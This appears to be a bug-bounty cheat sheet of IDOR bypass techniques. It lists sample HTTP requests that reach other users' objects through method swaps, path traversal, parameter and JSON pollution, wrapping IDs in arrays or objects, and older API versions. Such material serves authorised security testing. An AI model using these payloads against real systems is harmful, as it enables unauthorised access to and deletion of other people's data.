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IDOR Techniques

GET /users/delete/VICTIM_ID → 403 Forbidden
POST /users/delete/VICTIM_ID → 200 OK

Change HTTP method

POST /users/delete/VICTIM_ID → 403 Forbidden
POST /users/delete/MY_ID/../VICTIM_ID → 200 OK

Path Traversal
Secondary Context Path Traversal techniques

Content-type: application/xml → Content-type: application/json

Change Request Content-Type

GET /file?id=90ri2xozifke29ikedaw0d
GET /file?id=302

Swap non-numeric with numeric ID's

GET /admin/profile → 401 Unauthorized
GET /ADMIN/profile → 200 OK

Missing Function Level Access Control (MFLAC)

GET /v1/orders?cartid=account_2 → 200 OK

Swap 2 UUID.
Create 2 accounts and swap each other's UUID. (Authorize Burp plugin)

GET /api/users/<user_id>/ → GET /api/users/*

Send Wildcard instead of an ID

For hashed ID's, create multiple accounts and understand the pattern application uses to allot an ID

Never ignore encoded/ hashed ID's

Search all the endpoints having ID's which the search engine may have already indexed

Google Dorking/ Public Forums

Use tools like Arjun, paramminer which bruteforces common id parameter names against the endpoint to see if any of them works

Bruteforce Hidden HTTP Parameters

Bypass Object Level Authorization.
Add parameters onto the endpoints if not present by default.

GET /api_v1/messages → 200 OK
vs
GET /api_v1/messages?user_id=victim_uuid → 200 OK

HTTP Parameter Pollution.
Give multiple values for the same parameter.

GET /api_v1/messages?user_id=ATTACKER_ID&user_id=VICTIM_ID
GET /api_v1/messages?user_id=VICTIM_ID&user_id=ATTACKER_ID

Change File type.
Add different file extensions at the end, e.g. .json, .xml, .config

GET /user_data/2341 → 401 Unauthorized
GET /user_data/2341.json → 200 OK

JSON Parameter Pollution

POST /api/get_profile
Content-Type: application/json
{ "user_id": "<legit_id>", "user_id": "<victim's_id>" }

Wrap the ID with an array in the body.

{"id":111} → 401 Unauthrioized
{ "id": [111] } → 200 OK

Wrap the ID with a JSON object.

{"id":111} → 401 Unauthrioized
{ "id": { "id": 111 } } → 200 OK

Test an outdated API version.
Try different versions of the API.

GET /v3/users_data/1234 → 403 Forbidden
GET /v1/users_data/1234 → 200 OK

Test the same web endpoint in mobile application

Sometimes the web application might be using encoded or hashed ids but the mobile endpoint still uses numeric ids

Do not giveup on Error messages

Sometimes applications will throw an error message even if the request was executed successfully at the backend